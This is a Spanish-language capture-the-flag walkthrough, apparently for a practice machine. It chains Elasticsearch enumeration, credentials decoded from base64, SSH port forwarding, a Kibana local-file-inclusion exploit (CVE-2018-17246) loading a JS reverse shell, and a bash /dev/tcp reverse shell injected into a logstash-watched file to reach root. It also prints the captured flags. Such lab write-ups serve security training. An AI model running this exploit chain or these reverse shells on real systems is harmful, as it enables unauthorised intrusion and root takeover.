#### Realizar un escaneo de puertos
`$ nmap -sC -sV 10.10.10.115`
#### Nos encontramos que estan corriendo la version 6.4.2 de elasticsearch en el puerto 9200
#### Realizamos un escaneo de directorios al puerto 9200
`$ dirb http://10.10.10.115:9200/`
#### Descargar la imagen del index y analizar para extraer posible informacion
http://10.10.10.115/needle.jpg
$ exiftool needle.jpg
$ cat needle.jpg
#### Vemos que al ejecutar cat en la imagen, al final sale algo en base64
```
$ echo bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg== | base64 --decode
la aguja en el pajar es "clave"
```
#### Esto nos da indicios de que hay que encontrar una clave
#### Si vamos al siguiente directorio, podemos observar que salen detalles de una cuenta
http://10.10.10.115:9200/bank
#### Como se puede observar en el siguiente articulo sobre elasticsearch, explica que entrando a /_search se pueden buscar diferentes cosas introduciendo ciertos parametros de busqueda
https://www.elastic.co/guide/en/elasticsearch/reference/current/search-uri-request.html
#### Vamos al siguiente enlace
http://10.10.10.115:9200/_search
#### Introducimos la query string ?q= y buscamos la "clave"
http://10.10.10.115:9200/_search?q=clave
#### Se obtienen unas claves de acceso, cifradas en base64
```
"Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
"Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
```
#### Decodeamos los resultados obtenidos anteriormente
```
$ echo dXNlcjogc2VjdXJpdHkg | base64 --decode
user: security
$ echo cGFzczogc3BhbmlzaC5pcy5rZXk= | base64 --decode
pass: spanish.is.key
```
#### Ahora utilizamos las credenciales obtenidas para conectarnos mediante SSH
```
$ ssh security@10.10.10.115
security@10.10.10.115's password: spanish.is.key
```
#### Obtenemos la flag de user
```
$ cat user.txt
04d18bc79dac1d4d48ee0a940c8eb929
```
#### Si buscamos en internet, la version 6.4.2 tiene publicado el CVE-2018-17246
https://www.elastic.co/blog/kibana-local-file-inclusion-flaw-cve-2018-17246
https://github.com/mpgn/CVE-2018-17246
#### Realizamos un port forwarding
```
ssh security@10.10.10.115 -L 5601:localhost:5601
pass: spanish.is.key
```
#### Nos vamos a nuestro navegador y ponemos localhost:5601 y tendremos acceso a el panel de kibana el cual esta siendo redirigido a nuestra maquina y es ahora cuando explotamos el fallo
#### Creamos una shell JS
https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell
#### Subimos una shell JS en el directorio /tmp de la maquina remota
`$ scp shell.js security@10.10.10.115:/tmp`
#### Abrimos una nueva instancia a la escucha con netcat
`$ nc -lvp 1337`
#### Hacemos una peticion GET al siguiente directorio para explotar el fallo (LFI)
http://localhost:5601/api/console/api_server?sense_version@@SENSE_VERSION&apis=../../../../../../../../../../tmp/shell.js
#### Una vez conectados tendremos acceso como el usuario kibana
`$ whoami`
#### Invocamos una shell tty en la maquina
`$ python -c 'import pty; pty.spawn("/bin/sh")'`
#### Lanzamos otra instancia paralela a la anterior de netcat y la ponemos a la escucha
`$ nc -lvp 4444`
#### Por ultimo desde la shell de kibana ejecutamos lo siguiente (remplazamos con nuestra ip y el puerto que queramos)
`$ echo "Ejecutar comando: /bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" >> /opt/kibana/logstash_blah`
#### Una vez hecho esto, ya tendremos acceso como root, y solo quedaria conseguir la flag
```
$ cat /root/root.txt
3f5f727c38d9f70e1d2ad2ba11059d92
```
---